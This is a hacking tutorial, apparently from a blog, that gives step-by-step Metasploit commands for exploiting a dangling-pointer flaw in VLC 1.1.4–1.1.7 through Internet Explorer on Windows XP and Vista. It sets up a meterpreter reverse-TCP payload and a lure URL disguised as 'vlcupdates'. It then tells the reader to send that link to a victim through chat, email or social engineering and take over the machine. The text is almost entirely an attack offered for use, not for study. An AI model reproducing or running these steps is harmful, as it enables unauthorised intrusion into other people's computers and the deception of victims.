Hack Remote Windows XP PC using VLC AMV Dangling Pointer Vulnerability

This module exploits VLC media player when handling a .AMV file. By flipping the 0x41st byte in the file format (video width/height), VLC crashes due to an invalid pointer, which allows remote attackers to gain arbitrary code execution. The vulnerable packages include: VLC 1.1.4, VLC 1.1.5, VLC 1.1.6, and VLC 1.1.7. Also, please note that IE 8 targets require Java support in order to run properly.

Exploit Targets

1 - Internet Explorer 6 on XP SP3

2 - Internet Explorer 7 on XP SP3

3 - Internet Explorer 8 on XP SP3

4 - Internet Explorer 7 on Vista

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/vlc_amv

Msf exploit (vlc_amv)>set payload windows/meterpreter/reverse_tcp

Msf exploit (vlc_amv)>set lhost 192.168.1.2 (IP of Local Host)

Msf exploit (vlc_amv)>set srvhost 192.168.1.2 (This must be an address on the local machine)

Msf exploit (vlc_amv) set uripath vlcupdates (The Url to use for this exploit)

Msf exploit (vlc_amv)>exploit

Now an URL you should give to your victim http://192.168.1.2:8080/vlcupdates

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“